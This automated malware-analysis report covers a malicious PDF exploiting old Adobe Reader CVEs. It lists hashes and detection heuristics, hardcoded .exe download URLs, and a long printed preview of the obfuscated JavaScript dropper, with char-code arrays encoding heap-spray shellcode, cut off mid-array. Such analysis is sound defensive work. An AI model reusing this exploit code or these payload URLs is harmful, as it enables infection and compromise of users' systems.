PDF malware analysis — malicious · 872c85b9a1796490

MALICIOUS

PDF

75.8 KB Created: 2010-01-03 19:47:22 Authoring application: PDF Library 9.7.10 (via PDF Library 5.3.4) First seen: 2026-05-10

MD5: 3411c84f999823131d565881874951ad SHA-1: 30ad586d9e22425687cda67fd8ac8444036eadad SHA-256: 872c85b9a1796490032a6a4fc6994000b7fb37e23ce8771ea117ab6d4c3f32c3

592 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that leverages multiple CVEs (CVE-2007-5659, CVE-2008-2992, CVE-2009-0927) to execute code. This script is designed to download and execute a second-stage payload from the URLs found within the embedded shellcode. The presence of multiple exploit indicators and a high ML classifier score strongly suggests malicious intent.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://style-boards.com/forum/gnostx2.exe Referenced by PDF JavaScript
- http://style-boards.com/forum/click.php?r=Referenced by PDF JavaScript
- http://style-boards.com/forum/adem2.exeReferenced by PDF JavaScript
- http://style-boards.com/forum/agip2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38299 bytes
SHA-256: `a669bb659c640a26a2456b7abbe0366914d9ccaf5b45c5eed5e6d14c6ca0281a`
Preview script First 1,000 lines of the extracted script var cefgkl="cefgkl";cqvz=true;ailxz=false;bgru="";abeipz=true;cety='';bkprx='';var dfivz='',esuw="esuw",kprv=0,emuw=String,aovz=emuw['fHrHoxmMCXhsasrXCxoHdxeX'.replace(/[XHxMs]/g,'')],aglx=String,fhquv=aglx['eqvfaqlq'.replace(/[q8IfJ]/g,'')],anox="43",fknpq="",binuv=[65,61,61,153,169,161,151,167,157,162,162,83,154,156,172,146,157,167,92,172,149,165,167,163,96,83,160,152,162,92,175,64,62,60,61,170,156,156,160,152,84,91,173,148,166,166,164,97,160,152,162,154,168,155,84,93,84,101,84,111,84,159,153,161,93,174,65,61,61,60,61,172,149,165,167,163,84,94,113,83,173,148,166,166,164,110,65,61,61,60,177,64,62,60,61,172,149,165,167,163,84,112,84,172,149,165,167,163,98,166,169,149,167,167,166,156,162,154,92,99,96,83,160,152,162,98,102,92,111,64,62,60,61,165,153,167,169,165,162,83,173,148,166,166,164,110,65,61,61,176,65,61,65,61,61,153,169,161,151,167,157,162,162,83,169,167,157,159,147,163,166,156,162,167,154,91,93,174,65,61,61,60,170,148,166,83,164,148,173,159,163,148,152,83,113,83,169,161,153,166,151,148,164,152,92,85,89,168,121,117,121,108,89,168,100,99,100,100,89,168,105,105,100,99,89,168,117,100,106,103,89,168,100,99,103,99,89,168,100,99,100,99,89,168,104,99,108,117,89,168,108,117,100,118,89,168,101,118,107,99,89,168,108,117,117,119,89,168,100,107,104,99,89,168,119,102,105,120,89,168,108,117,105,104,89,168,108,117,121,118,89,168,100,107,104,104,89,168,103,102,105,101,89,168,119,100,120,101,89,168,100,102,119,101,89,168,101,99,103,101,89,168,108,99,104,99,89,168,100,99,103,107,89,168,122,104,107,104,89,168,119,101,108,117,89,168,105,119,105,116,89,168,100,103,119,101,89,168,105,104,100,99,89,168,121,118,108,117,89,168,105,100,105,100,89,168,105,105,105,102,89,168,106,99,105,106,89,168,105,119,108,117,89,168,103,102,100,107,89,168,108,117,119,99,89,168,100,118,107,104,89,168,122,120,108,117,89,168,107,105,100,102,89,168,108,117,103,118,89,168,107,107,104,120,89,168,119,121,100,102,89,168,105,100,108,117,89,168,105,101,101,118,89,168,105,100,108,117,89,168,105,101,102,103,89,168,107,100,108,117,89,168,104,120,101,103,89,168,107,104,108,108,89,168,108,117,122,118,89,168,102,99,107,100,89,168,122,106,100,102,89,168,104,116,109,108,89,168,104,101,117,119,89,168,103,117,106,99,89,168,122,118,105,104,89,168,100,103,107,104,89,168,119,99,103,102,89,168,103,106,121,117,89,168,122,121,103,102,89,168,104,104,100,102,89,168,109,106,100,118,89,168,119,121,108,117,89,168,107,104,117,120,89,168,102,117,122,119,89,168,104,121,122,108,89,168,121,107,105,100,89,168,122,121,109,103,89,168,122,121,122,121,89,168,119,102,103,117,89,168,107,103,106,100,89,168,121,117,100,101,89,168,108,117,120,108,89,168,100,118,104,104,89,168,105,120,109,101,89,168,122,101,100,102,89,168,121,99,120,100,89,168,119,105,100,102,89,168,119,108,103,102,89,168,118,106,100,121,89,168,105,121,100,107,89,168,121,100,119,100,89,168,100,102,100,101,89,168,100,102,119,116,89,168,108,117,119,121,89,168,100,102,100,100,89,168,108,108,119,101,89,168,122,107,104,104,89,168,108,117,106,100,89,168,122,107,104,104,89,168,105,120,105,121,89,168,119,108,105,117,89,168,105,104,119,102,89,168,121,118,108,117,89,168,121,107,105,100,89,168,122,121,104,108,89,168,122,121,122,121,89,168,106,107,105,99,89,168,106,99,121,107,89,168,100,103,118,121,89,168,106,118,121,107,89,168,122,121,122,121,89,168,103,102,122,121,89,168,105,101,120,101,89,168,122,121,105,101,89,168,100,107,107,104,89,168,120,99,122,121,89,168,104,104,108,108,89,168,108,117,122,118,89,168,122,118,104,104,89,168,119,102,119,108,89,168,108,117,105,104,89,168,108,102,121,118,89,168,100,118,121,118,89,168,104,104,108,119,89,168,105,99,122,103,89,168,104,104,119,105,89,168,107,104,122,103,89,168,104,104,119,105,89,168,107,101,122,104,89,168,104,104,119,105,89,168,106,118,122,105,89,168,104,104,119,105,89,168,106,119,122,106,89,168,104,104,119,105,89,168,106,121,122,107,89,168,104,104,119,105,89,168,106,120,122,108,89,168,104,104,119,105,89,168,102,120,122,116,89,168,104,104,119,105,89,168,106,103,122,117,89,168,104,104,119,105,89,168,106,118,122,118,89,168,104,104,119,105,89,168,106,118,122,119,89,168,104,104,119,105,89,168,100,99,122,120,89,168,117,99,121,107,89,168,122,121,122,121,89,168,105,99,122,121,89,168,105,119,106,107,89,168,101,100,108,116,89,168,121,107,101,105,89,168,122,121,101,104,89,168,122,121,122,121,89,168,119,103,108,102,89,168,108,104,100,118,89,168,107,103,119,99,89,168,106,116,101,104,89,168,106,116,100,99,89,168,122,121,100,99,89,168,100,118,107,104,89,168,107,104,122,121,89,168,106,116,100,107,89,168,122,121,100,99,89,168,108,104,120,99,89,168,107,104,119,99,89,168,104,99,100,102,89,168,119,102,119,108,89,168,119,99,103,102,89,168,119,102,119,108,89,168,103,102,105,106,89,168,108,117,119,99,89,168,102,103,104,118,89,168,108,117,100,118,89,168,102,103,107,118,89,168,122,118,100,107,89,168,117,116,122,102,89,168,119,102,105,121,89,168,104,118,108,117,89,168,100,103,102,103,89,168,103,108,108,99,89,168,108,117,100,99,89,168,107,103,119,100,89,168,104,99,100,105,89,168,103,107,108,99,89,168,107,104,100,99,89,168,102,117,122,116,89,168,119,102,119,100,89,168,108,117,105,104,89,168,108,102,121,118,89,168,106,103,121,118,89,168,108,119,105,102,89,168,122,99,104,104,89,168,103,102,105,106,89,168,105,99,120,117,89,168,104,104,119,105,89,168,106,117,122,99,89,168,104,104,119,105,89,168,106,104,122,100,89,168,104,104,119,105,89,168,107,101,122,101,89,168,104,104,119,105,89,168,106,120,122,102,89,168,104,104,119,105,89,168,106,104,122,103,89,168,104,104,119,105,89,168,106,118,122,104,89,168,104,104,119,105,89,168,103,102,122,105,89,168,104,104,119,105,89,168,103,101,122,106,89,168,104,104,119,105,89,168,102,120,122,107,89,168,104,104,119,105,89,168,106,103,122,108,89,168,104,104,119,105,89,168,106,118,122,116,89,168,104,104,119,105,89,168,106,118,122,117,89,168,105,119,108,107,89,168,121,107,122,118,89,168,122,121,100,117,89,168,122,121,122,121,89,168,106,107,105,99,89,168,104,102,106,107,89,168,108,120,122,108,89,168,108,99,121,107,89,168,122,121,122,120,89,168,108,117,122,121,89,168,108,119,122,107,89,168,109,118,104,104,89,168,104,103,106,116,89,168,121,107,105,99,89,168,122,121,107,120,89,168,122,121,122,121,89,168,104,104,108,119,89,168,106,116,121,99,89,168,105,99,101,99,89,168,107,102,121,107,89,168,122,121,122,121,89,168,108,102,122,121,89,168,101,118,119,103,89,168,104,104,108,119,89,168,105,99,121,99,89,168,104,104,108,119,89,168,105,99,109,118,89,168,105,102,105,102,89,168,105,102,105,102,89,168,105,102,105,102,89,168,107,104,122,121,89,168,119,106,100,107,89,168,109,118,104,104,89,168,100,99,104,103,89,168,100,99,100,99,89,168,122,121,105,102,89,168,105,121,120,106,89,168,118,105,100,121,89,168,105,117,119,99,89,168,119,102,119,108,89,168,108,117,105,104,89,168,105,100,121,118,89,168,105,102,105,100,89,168,105,106,105,105,89,168,104,101,106,116,89,168,107,101,121,107,89,168,100,99,100,99,89,168,108,117,100,99,89,168,103,102,120,107,89,168,108,104,122,105,89,168,105,108,120,117,89,168,104,104,119,106,89,168,106,100,122,107,89,168,106,104,102,120,89,168,119,106,107,107,89,168,122,118,104,104,89,168,100,99,106,104,89,168,100,99,100,99,89,168,105,105,107,120,89,168,104,104,108,119,89,168,105,99,122,107,89,168,121,107,105,105,89,168,100,99,105,100,89,168,100,99,100,99,89,168,105,99,105,108,89,168,118,100,121,107,89,168,122,121,122,120,89,168,108,104,122,121,89,168,105,108,119,99,89,168,107,103,105,108,89,168,108,119,103,108,89,168,100,100,104,105,89,168,121,107,105,99,89,168,100,99,103,117,89,168,100,99,100,99,89,168,122,107,108,117,89,168,104,104,108,119,89,168,105,99,122,107,89,168,102,100,121,107,89,168,122,121,122,121,89,168,108,104,122,121,89,168,105,108,119,99,89,168,107,103,105,108,89,168,105,106,100,118,89,168,100,100,121,107,89,168,122,121,122,121,89,168,105,108,122,121,89,168,104,103,119,105,89,168,122,121,103,107,89,168,105,99,107,102,89,168,104,104,108,119,89,168,122,120,122,107,89,168,105,107,100,99,89,168,104,104,108,119,89,168,105,99,122,107,89,168,121,107,105,106,89,168,122,120,107,103,89,168,122,121,122,121,89,168,105,108,105,108,89,168,104,105,104,105,89,168,122,102,103,117,89,168,117,116,107,118,89,168,105,120,105,121,89,168,119,108,105,117,89,168,105,104,119,102,89,168,121,118,108,117,89,168,105,102,105,100,89,168,106,99,106,105,89,168,103,101,118,100,89,168,100,99,121,107,89,168,100,99,100,99,89,168,105,107,100,99,89,168,100,107,103,107,89,168,100,102,107,103,89,168,121,117,104,99,89,168,104,99,122,108,89,168,105,119,108,117,89,168,108,99,100,107,89,168,104,101,122,117,89,168,100,107,107,104,89,168,120,117,103,102,89,168,101,107,108,116,89,168,119,102,108,117,89,168,101,106,121,117,89,168,101,107,103,107,89,168,101,100,107,105,89,168,103,102,104,99,89,168,108,103,119,108,89,168,107,103,120,117,89,168,104,99,100,118,89,168,100,107,103,107,89,168,122,117,107,104,89,168,122,120,104,99,89,168,121,117,119,117,89,168,103,102,122,101,89,168,108,108,119,99,89,168,122,118,104,104,89,168,104,104,108,117,89,168,105,117,122,118,89,168,119,102,119,108,89,168,100,101,103,101,89,168,107,103,106,107,89,168,107,99,107,103,89,168,102,121,103,116,89,168,107,102,102,121,89,168,107,108,107,103,89,168,106,104,106,118,89,168,106,101,102,119,89,168,106,100,106,121,89,168,106,103,107,101,89,168,102,120,107,102,89,168,106,121,106,102,89,168,102,121,106,119,89,168,106,121,106,105,89,168,107,104,107,101,89,168,102,121,106,119,89,168,106,120,106,106,89,168,107,102,106,121,89,168,107,107,107,103,89,168,102,120,103,101,89,168,107,107,106,104,89,168,100,99,106,104,89,168,107,103,106,107,89,168,107,99,107,103,89,168,102,121,103,116,89,168,107,102,102,121,89,168,107,108,107,103,89,168,106,104,106,118,89,168,106,101,102,119,89,168,106,100,106,121,89,168,106,103,107,101,89,168,102,120,107,102,89,168,106,121,106,102,89,168,102,121,106,119,89,168,106,121,106,105,89,168,107,104,107,101,89,168,102,121,106,119,89,168,106,118,106,102,89,168,106,102,106,108,89,168,102,120,106,117,89,168,106,107,107,99,89,168,103,121,107,99,89,168,103,119,107,101,89,168,100,99,100,99,86,92,111,64,62,60,61,169,149,165,84,161,163,163,84,112,84,168,162,152,167,150,149,163,153,91,86,88,169,99,117,99,117,88,169,99,117,99,117,88,169,99,117,99,117,88,169,99,117,99,117,85,93,64,62,60,61,169,149,165,84,155,153,148,164,149,160,162,151,158,84,112,84,161,163,163,84,94,84,163,149,172,160,162,149,151,111,64,62,60,61,169,149,165,84,149,157,154,150,159,163,150,159,83,113,83,169,161,153,166,151,148,164,152,92,85,89,168,100,116,100,116,89,168,100,116,100,116,86,92,111,64,62,60,61,169,149,165,84,155,153,148,152,152,166,166,157,173,153,83,113,83,102,99,111,64,62,60,61,169,149,165,84,166,164,165,149,172,84,112,84,155,153,148,152,152,166,166,157,173,153,83,95,83,156,152,149,163,150,159,163,150,159,97,160,152,162,154,168,155,111,64,62,60,61,170,156,156,160,152,84,91,150,156,155,149,160,162,151,158,98,159,153,161,155,167,156,83,112,83,167,163,166,148,173,92,175,64,62,60,61,60,150,156,155,149,160,162,151,158,84,94,113,83,150,156,155,149,160,162,151,158,111,64,62,60,61,176,65,61,61,60,170,148,166,83,154,156,160,159,150,159,163,150,159,83,113,83,150,156,155,149,160,162,151,158,98,166,169,149,167,167,166,156,162,154,92,99,96,83,167,163,166,148,173,92,111,64,62,60,61,169,149,165,84,149,160,162,151,158,84,112,84,149,157,154,150,159,163,150,159,97,167,168,150,166,168,165,157,161,155,91,100,95,84,149,157,154,150,159,163,150,159,97,160,152,162,154,168,155,97,166,164,165,149,172,93,110,65,61,61,60,171,155,157,159,153,83,92,149,160,162,151,158,98,159,153,161,155,167,156,94,167,163,166,148,173,83,112,83,100,171,104,99,100,99,100,92,175,64,62,60,61,60,150,159,163,150,159,83,113,83,150,159,163,150,159,83,95,83,150,159,163,150,159,83,95,83,154,156,160,159,150,159,163,150,159,110,65,61,61,60,177,64,62,60,61,169,149,165,84,160,153,160,147,148,166,165,149,172,84,112,84,161,153,170,84,116,166,165,149,172,92,92,111,64,62,60,61,153,163,165,84,91,170,148,166,83,157,83,113,83,100,110,84,156,84,111,84,100,104,99,100,110,84,156,95,94,93,174,65,61,61,60,61,160,153,160,147,148,166,165,149,172,143,156,145,83,113,83,150,159,163,150,159,83,95,83,156,152,149,163,150,159,163,150,159,110,65,61,61,60,177,64,62,60,61,169,149,165,84,161,169,160,84,112,84,100,102,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,107,108,110,65,61,61,60,169,167,157,159,98,163,166,156,162,167,154,91,86,88,104,104,100,99,100,153,86,95,84,161,169,160,93,110,65,61,61,176,65,61,65,61,61,153,169,161,151,167,157,162,162,83,151,162,160,159,149,149,147,152,161,148,157,159,92,92,175,64,62,60,61,169,149,165,84,166,156,152,160,159,151,162,152,152,84,112,84,168,162,152,167,150,149,163,153,91,86,88,169,120,118,120,109,88,169,99,100,99,101,88,169,104,106,99,100,88,169,116,101,105,104,88,169,99,100,102,100,88,169,99,100,99,100,88,169,103,100,107,118,88,169,107,118,99,119,88,169,100,119,106,100,88,169,107,118,116,120,88,169,99,108,103,100,88,169,118,103,104,121,88,169,107,118,104,105,88,169,107,118,120,119,88,169,99,108,103,105,88,169,102,103,104,102,88,169,118,101,119,102,88,169,99,103,118,102,88,169,100,100,102,102,88,169,107,100,103,100,88,169,99,100,102,108,88,169,121,105,106,105,88,169,118,102,107,118,88,169,104,120,104,117,88,169,99,104,118,102,88,169,104,105,99,100,88,169,120,119,107,118,88,169,104,101,104,101,88,169,104,106,104,103,88,169,105,100,104,107,88,169,104,120,107,118,88,169,102,103,99,108,88,169,107,118,118,100,88,169,99,119,106,105,88,169,121,121,107,118,88,169,106,106,99,103,88,169,107,118,102,119,88,169,106,108,103,121,88,169,118,122,99,103,88,169,104,101,107,118,88,169,104,102,100,119,88,169,104,101,107,118,88,169,104,102,101,104,88,169,106,101,107,118,88,169,103,121,100,104,88,169,106,105,107,109,88,169,107,118,121,119,88,169,101,100,106,101,88,169,121,107,99,103,88,169,103,117,108,109,88,169,103,102,116,120,88,169,102,118,105,100,88,169,121,119,104,105,88,169,99,104,106,105,88,169,118,100,102,103,88,169,102,107,120,118,88,169,121,122,102,103,88,169,103,105,99,103,88,169,108,107,99,119,88,169,118,122,107,118,88,169,106,105,116,121,88,169,101,118,121,120,88,169,103,122,121,109,88,169,120,108,104,101,88,169,121,122,108,104,88,169,121,122,121,122,88,169,118,103,102,118,88,169,106,104,105,101,88,169,120,118,99,102,88,169,107,118,119,109,88,169,99,119,103,105,88,169,104,121,108,102,88,169,121,102,99,103,88,169,120,100,119,101,88,169,118,106,99,103,88,169,118,109,102,103,88,169,117,107,99,122,88,169,104,122,99,108,88,169,120,101,118,101,88,169,99,103,99,102,88,169,99,103,118,117,88,169,107,118,118,122,88,169,99,103,99,101,88,169,107,109,118,102,88,169,121,108,103,105,88,169,107,118,105,101,88,169,121,108,103,105,88,169,104,121,104,122,88,169,118,109,104,118,88,169,104,105,118,103,88,169,120,119,107,118,88,169,120,108,104,101,88,169,121,122,103,109,88,169,121,122,121,122,88,169,105,108,104,100,88,169,105,100,120,108,88,169,99,104,117,122,88,169,105,119,120,108,88,169,121,122,121,122,88,169,102,103,121,122,88,169,104,102,119,102,88,169,121,122,104,102,88,169,99,108,106,105,88,169,119,100,121,122,88,169,103,105,107,109,88,169,107,118,121,119,88,169,121,119,103,105,88,169,118,103,118,109,88,169,107,118,104,105,88,169,107,103,120,119,88,169,99,119,120,119,88,169,103,105,107,120,88,169,104,100,121,104,88,169,103,105,118,106,88,169,106,105,121,104,88,169,103,105,118,106,88,169,106,102,121,105,88,169,103,105,118,106,88,169,105,119,121,106,88,169,103,105,118,106,88,169,105,120,121,107,88,169,103,105,118,106,88,169,105,122,121,108,88,169,103,105,118,106,88,169,105,121,121,109,88,169,103,105,118,106,88,169,101,121,121,117,88,169,103,105,118,106,88,169,105,104,121,118,88,169,103,105,118,106,88,169,105,119,121,119,88,169,103,105,118,106,88,169,105,119,121,120,88,169,103,105,118,106,88,169,99,100,121,121,88,169,116,100,120,108,88,169,121,122,121,122,88,169,104,100,121,122,88,169,104,120,105,108,88,169,100,101,107,117,88,169,120,108,100,106,88,169,121,122,100,105,88,169,121,122,121,122,88,169,118,104,107,103,88,169,107,105,99,119,88,169,106,104,118,100,88,169,105,117,100,105,88,169,105,117,99,100,88,169,121,122,99,100,88,169,99,119,106,105,88,169,106,105,121,122,88,169,105,117,99,108,88,169,121,122,99,100,88,169,107,105,119,100,88,169,106,105,118,100,88,169,103,100,99,103,88,169,118,103,118,109,88,169,118,100,102,103,88,169,118,103,118,109,88,169,102,103,104,107,88,169,107,118,118,100,88,169,101,104,103,119,88,169,107,118,99,119,88,169,101,104,106,119,88,169,121,119,99,108,88,169,116,117,121,103,88,169,118,103,104,122,88,169,103,119,107,118,88,169,99,104,101,104,88,169,102,109,107,100,88,169,107,118,99,100,88,169,106,104,118,101,88,169,103,100,99,106,88,169,102,108,107,100,88,169,106,105,99,100,88,169,101,118,121,117,88,169,118,103,118,101,88,169,107,118,104,105,88,169,107,103,120,119,88,169,105,104,120,119,88,169,107,120,104,103,88,169,121,100,103,105,88,169,102,103,104,107,88,169,104,100,119,118,88,169,103,105,118,106,88,169,105,118,121,100,88,169,103,105,118,106,88,169,105,105,121,101,88,169,103,105,118,106,88,169,106,102,121,102,88,169,103,105,118,106,88,169,105,121,121,103,88,169,103,105,118,106,88,169,105,105,121,104,88,169,103,105,118,106,88,169,105,119,121,105,88,169,103,105,118,106,88,169,102,103,121,106,88,169,103,105,118,106,88,169,102,102,121,107,88,169,103,105,118,106,88,169,101,121,121,108,88,169,103,105,118,106,88,169,105,104,121,109,88,169,103,105,118,106,88,169,105,119,121,117,88,169,103,105,118,106,88,169,105,119,121,118,88,169,104,120,107,108,88,169,120,108,121,119,88,169,121,122,99,118,88,169,121,122,121,122,88,169,105,108,104,100,88,169,103,103,105,108,88,169,107,121,121,109,88,169,107,100,120,108,88,169,121,122,121,121,88,169,107,118,121,122,88,169,107,120,121,108,88,169,108,119,103,105,88,169,103,104,105,117,88,169,120,108,104,100,88,169,121,122,106,121,88,169,121,122,121,122,88,169,103,105,107,120,88,169,105,117,120,100,88,169,104,100,100,100,88,169,106,103,120,108,88,169,121,122,121,122,88,169,107,103,121,122,88,169,100,119,118,104,88,169,103,105,107,120,88,169,104,100,120,100,88,169,103,105,107,120,88,169,104,100,108,119,88,169,104,103,104,103,88,169,104,103,104,103,88,169,104,103,104,103,88,169,106,105,121,122,88,169,118,107,99,108,88,169,108,119,103,105,88,169,99,100,103,104,88,169,99,100,99,100,88,169,121,122,104,103,88,169,104,122,119,107,88,169,117,106,99,122,88,169,104,118,118,100,88,169,118,103,118,109,88,169,107,118,104,105,88,169,104,101,120,119,88,169,104,103,104,101,88,169,104,107,104,106,88,169,103,102,105,117,88,169,106,102,120,108,88,169,99,100,99,100,88,169,107,118,99,100,88,169,102,103,119,108,88,169,107,105,121,106,88,169,104,109,119,118,88,169,103,105,118,107,88,169,105,101,121,108,88,169,105,105,101,121,88,169,118,107,106,108,88,169,121,119,103,105,88,169,99,100,105,105,88,169,99,100,99,100,88,169,104,106,106,121,88,169,103,105,107,120,88,169,104,100,121,108,88,169,120,108,104,106,88,169,99,100,104,101,88,169,99,100,99,100,88,169,104,100,104,109,88,169,117,101,120,108,88,169,121,122,121,121,88,169,107,105,121,122,88,169,104,109,118,100,88,169,106,104,104,109,88,169,107,120,102,109,88,169,99,101,103,106,88,169,120,108,104,100,88,169,99,100,102,118,88,169,99,100,99,100,88,169,121,108,107,118,88,169,103,105,107,120,88,169,104,100,121,108,88,169,101,101,120,108,88,169,121,122,121,122,88,169,107,105,121,122,88,169,104,109,118,100,88,169,106,104,104,109,88,169,104,107,99,119,88,169,99,101,120,108,88,169,121,122,121,122,88,169,104,109,121,122,88,169,103,104,118,106,88,169,121,122,102,108,88,169,104,100,106,103,88,169,103,105,107,120,88,169,121,121,121,108,88,169,104,108,99,100,88,169,103,105,107,120,88,169,104,100,121,108,88,169,120,108,104,107,88,169,121,121,106,104,88,169,121,122,121,122,88,169,104,109,104,109,88,169,103,106,103,106,88,169,121,103,102,118,88,169,116,117,106,119,88,169,104,121,104,122,88,169,118,109,104,118,88,169,104,105,118,103,88,169,120,119,107,118,88,169,104,103,104,101,88,169,105,100,105,106,88,169,102,102,117,101,88,169,99,100,120,108,88,169,99,100,99,100,88,169,104,108,99,100,88,169,99,108,102,108,88,169,99,103,106,104,88,169,120,118,103,100,88,169,103,100,121,109,88,169,104,120,107,118,88,169,107,100,99,108,88,169,103,102,121,118,88,169,99,108,106,105,88,169,119,118,102,103,88,169,100,108,107,117,88,169,118,103,107,118,88,169,100,107,120,118,88,169,100,108,102,108,88,169,100,101,106,106,88,169,102,103,103,100,88,169,107,104,118,109,88,169,106,104,119,118,88,169,103,100,99,119,88,169,99,108,102,108,88,169,121,118,106,105,88,169,121,121,103,100,88,169,120,118,118,118,88,169,102,103,121,102,88,169,107,109,118,100,88,169,121,119,103,105,88,169,103,105,107,118,88,169,104,118,121,119,88,169,118,103,118,109,88,169,99,102,102,102,88,169,106,104,105,108,88,169,106,100,106,104,88,169,101,122,102,117,88,169,106,103,101,122,88,169,106,109,106,104,88,169,105,105,105,119,88,169,105,102,101,120,88,169,105,101,105,122,88,169,105,104,106,102,88,169,101,121,106,103,88,169,105,122,105,103,88,169,101,122,105,120,88,169,105,122,105,106,88,169,106,105,106,102,88,169,101,122,105,120,88,169,105,104,105,101,88,169,105,120,105,105,88,169,101,121,102,102,88,169,106,108,105,105,88,169,99,100,105,105,88,169,106,104,105,108,88,169,106,100,106,104,88,169,101,122,102,117,88,169,106,103,101,122,88,169,106,109,106,104,88,169,105,105,105,119,88,169,105,102,101,120,88,169,105,101,105,122,88,169,105,104,106,102,88,169,101,121,106,103,88,169,105,122,105,103,88,169,101,122,105,120,88,169,105,122,105,106,88,169,106,105,106,102,88,169,101,122,105,120,88,169,105,119,105,103,88,169,105,103,105,109,88,169,101,121,105,118,88,169,105,108,106,100,88,169,102,122,106,100,88,169,102,120,106,102,88,169,99,100,99,100,85,93,110,65,61,61,60,170,148,166,83,161,152,161,146,149,165,166,148,173,83,113,83,162,152,171,83,117,165,166,148,173,91,93,110,65,61,61,60,170,148,166,83,151,150,84,112,84,99,172,99,151,99,151,99,151,99,151,110,65,61,61,60,170,148,166,83,149,151,152,165,84,112,84,99,172,103,100,99,100,99,100,110,65,61,61,60,170,148,166,83,167,150,147,159,153,161,84,112,84,166,156,152,160,159,151,162,152,152,98,159,153,161,155,167,156,83,94,83,102,110,65,61,61,60,170,148,166,83,160,152,162,83,113,83,149,151,152,165,84,96,84,91,167,150,147,159,153,161,95,99,172,102,108,92,111,64,62,60,61,169,149,165,84,172,149,165,167,163,84,112,84,168,162,152,167,150,149,163,153,91,86,88,169,108,100,108,100,88,169,108,100,108,100,85,93,110,65,61,61,60,173,148,166,166,164,83,113,83,154,156,172,146,157,167,92,172,149,165,167,163,96,83,160,152,162,92,111,64,62,60,61,169,149,165,84,150,163,168,162,167,102,83,113,83,92,150,151,83,97,83,100,171,104,99,100,99,100,99,93,98,149,151,152,165,111,64,62,60,61,153,163,165,84,91,170,